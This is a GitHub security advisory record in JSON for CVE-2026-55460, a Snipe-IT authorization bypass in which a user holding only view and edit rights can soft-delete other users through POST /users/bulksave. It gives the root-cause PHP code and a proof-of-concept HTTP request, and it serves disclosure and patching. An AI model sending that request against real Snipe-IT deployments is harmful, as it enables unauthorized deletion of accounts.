{"id":"GHSA-vgx7-c78r-69w9","summary":"Snipe-IT has an authorization bypass on bulk editing users","details":"### Impact\nAn authenticated non-admin user with `users.view` and `users.edit`, but without `users.delete`, can directly POST to `/users/bulksave` and soft-delete another non-admin user. The UI and confirmation route require `users.delete`, but the destructive sink only authorizes `update`.\n\n### Attacker Model\n\nAuthenticated non-admin user with:\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ json\n{\"users.view\":\"1\",\"users.edit\":\"1\"}\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nThe attacker does not have `users.delete`, `admin`, or `superuser`.\n\n### Affected Component\n\n-   `routes/web/users.php`\n\n-   `app/Http/Controllers/Users/BulkUsersController.php`\n\n-   Endpoint: `POST /users/bulksave`\n\n### Root Cause\n\nThe UI only exposes bulk delete to users with `delete` permission:\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ php\n@can('delete', \\App\\Models\\User::class)\n    \u003coption value=\"delete\"\u003e...\u003c/option\u003e\n    \u003coption value=\"merge\"\u003e...\u003c/option\u003e\n@endcan\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nThe confirmation path also checks `delete`:\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ php\n} elseif ($request-\u003einput('bulk_actions') == 'delete') {\n    $this-\u003eauthorize('delete', User::class);\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nHowever, the destructive route is registered separately:\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ php\nRoute::post('bulksave', [Users\\BulkUsersController::class, 'destroy'])\n    -\u003ename('users/bulksave');\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nand `destroy()` authorizes only `update`:\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ php\npublic function destroy(Request $request)\n{\n    $this-\u003eauthorize('update', User::class);\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nWhen `delete_user=1` is present, the method reaches:\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ php\n$user-\u003edelete();\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n### Proof of Concept\n\n1.  Create a non-admin attacker account with `users.view` and `users.edit`, but not `users.delete`.\n\n2.  Create a harmless non-admin target user.\n\n3.  Log in as the attacker and obtain a valid CSRF token.\n\n4.  Send:\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http\nPOST /users/bulksave HTTP/1.1\nHost: \u003csnipe-it-host\u003e\nCookie: snipeit_session=\u003cattacker-session\u003e\nContent-Type: application/x-www-form-urlencoded\n\n_token=\u003ccsrf-token\u003e\nids[]=\u003ctarget-user-id\u003e\ndelete_user=1\nstatus_id=\u003cvalid-status-id\u003e\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nObserved response:\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http\nHTTP/1.1 302 Found\nLocation: http://\u003csnipe-it-host\u003e/users\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n\n### Patches\nPatched in 374f426f0c","aliases":["CVE-2026-55460"],"modified":"2026-08-28T18:00:06.510180724Z","published":"2026-08-28T17:48:36Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-08-28T17:48:36Z","nvd_published_at":"2026-07-10T19:17:24Z","cwe_ids":["CWE-863"],"severity":"HIGH"},"references":[{"type":"WEB","url":"https://github.com/grokability/snipe-it/security/advisories/GHSA-vgx7-c78r-69w9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55460"},{"type":"WEB","url":"https://github.com/grokability/snipe-it/commit/374f426f0c6bb7a4f129f7b85051cc1da753a0f5"},{"type":"PACKAGE","url":"https://github.com/grokability/snipe-it"},{"type":"WEB","url":"https://github.com/grokability/snipe-it/releases/tag/v8.6.2"}],"affected":[{"package":{"name":"snipe/snipe-it","ecosystem":"Packagist","purl":"pkg:composer/snipe/snipe-it"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8.6.2"}]}],"versions":["3.2.0","v0.1.0","v0.1.1","v0.1.2","v0.2.0","v0.3.0-alpha","v0.3.10-alpha","v0.3.11-alpha","v0.3.7-alpha","v0.3.8-alpha","v0.3.9-alpha","v1.0","v1.1","v1.2.0","v1.2.1","v1.2.10","v1.2.11","v1.2.2","v1.2.3","v1.2.3-beta","v1.2.4","v1.2.4-beta","v1.2.5","v1.2.6","v1.2.6-beta","v1.2.6.1","v1.2.7","v1.2.7-beta","v1.2.8","v1.2.9","v2.0","v2.0-RC-1","v2.0-beta","v2.0.1","v2.0.2","v2.0.3","v2.0.4","v2.0.5","v2.0.6","v2.1.0","v2.1.1","v2.1.2","v3.0","v3.0-alpha","v3.0-alpha2","v3.0-beta.1","v3.0-beta.2","v3.0-beta.3","v3.0.0-beta","v3.1.0","v3.3.0","v3.3.0-beta","v3.4","v3.4.0-alpha","v3.4.0-beta","v3.5.0","v3.5.0-beta","v3.5.0-beta2","v3.5.1","v3.5.2","v3.6.0","v3.6.1","v3.6.2","v3.6.3","v3.6.4","v3.6.5","v3.6.6","v4-beta3","v4-beta4","v4.0","v4.0-alpha","v4.0-alpha-2","v4.0-beta","v4.0-beta2","v4.0-beta5","v4.0-beta6","v4.0.1","v4.0.10","v4.0.11","v4.0.12","v4.0.13","v4.0.14","v4.0.15","v4.0.2","v4.0.3","v4.0.4","v4.0.5","v4.0.6","v4.0.7","v4.0.8","v4.0.9","v4.1.0","v4.1.0-beta","v4.1.0-beta2","v4.1.1","v4.1.10","v4.1.11","v4.1.12","v4.1.13","v4.1.14","v4.1.2","v4.1.3","v4.1.4","v4.1.5","v4.1.6","v4.1.7","v4.1.8","v4.1.9","v4.2.0","v4.3.0","v4.4.0","v4.4.1","v4.5.0","v4.6.0","v4.6.1","v4.6.10","v4.6.11","v4.6.12","v4.6.13","v4.6.14","v4.6.15","v4.6.16","v4.6.17","v4.6.18","v4.6.2","v4.6.3","v4.6.4","v4.6.5","v4.6.6","v4.6.7","v4.6.8","v4.6.9","v4.7.0","v4.7.1","v4.7.2","v4.7.3","v4.7.4","v4.7.5","v4.7.6","v4.7.7","v4.7.8","v4.8.0","v4.9.0","v4.9.1","v4.9.2","v4.9.3","v4.9.4","v4.9.5","v5.0.0","v5.0.0-beta-1.0","v5.0.0-beta-1.1","v5.0.0-beta-2","v5.0.0-beta-3.0","v5.0.0-beta-4","v5.0.0-beta-5","v5.0.1","v5.0.10","v5.0.11","v5.0.12","v5.0.2","v5.0.3","v5.0.4","v5.0.5","v5.0.6","v5.0.7","v5.0.8","v5.0.9","v5.1.0","v5.1.1","v5.1.2","v5.1.3","v5.1.4","v5.1.5","v5.1.6","v5.1.7","v5.1.8","v5.2.0","v5.3.0","v5.3.1","v5.3.10","v5.3.2","v5.3.3","v5.3.4","v5.3.5","v5.3.6","v5.3.7","v5.3.8","v5.3.9","v5.4.0","v5.4.1","v5.4.2","v5.4.3","v5.4.4","v6.0.0","v6.0.0-RC-1","v6.0.0-RC-2","v6.0.0-RC-3","v6.0.0-RC-4","v6.0.0-RC-5","v6.0.0-RC-6","v6.0.0-RC-7","v6.0.0-RC-8","v6.0.1","v6.0.10","v6.0.11","v6.0.12","v6.0.13","v6.0.14","v6.0.2","v6.0.3","v6.0.4","v6.0.5","v6.0.6","v6.0.7","v6.0.8","v6.0.9","v6.1.0","v6.1.1","v6.1.2","v6.2.0","v6.2.1","v6.2.2","v6.2.3","v6.3.0","v6.3.1","v6.3.2","v6.3.3","v6.3.4","v6.4.0","v6.4.1","v6.4.2","v7.0.0","v7.0.1","v7.0.10","v7.0.11","v7.0.12","v7.0.13","v7.0.2","v7.0.3","v7.0.4","v7.0.5","v7.0.6","v7.0.7","v7.0.8","v7.0.9","v7.1.14","v7.1.15","v7.1.16","v7.1.17","v8.0.0","v8.0.1","v8.0.2","v8.0.3","v8.0.4","v8.1.0","v8.1.1","v8.1.15","v8.1.16","v8.1.17","v8.1.18","v8.1.2","v8.1.3","v8.1.4","v8.2.0","v8.2.1","v8.3.0","v8.3.1","v8.3.2","v8.3.3","v8.3.4","v8.3.5","v8.3.6","v8.3.7","v8.4.0","v8.4.1","v8.5.0","v8.6.0","v8.6.1"],"database_specific":{"last_known_affected_version_range":"\u003c= 8.6.1","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-vgx7-c78r-69w9/GHSA-vgx7-c78r-69w9.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L"}]}
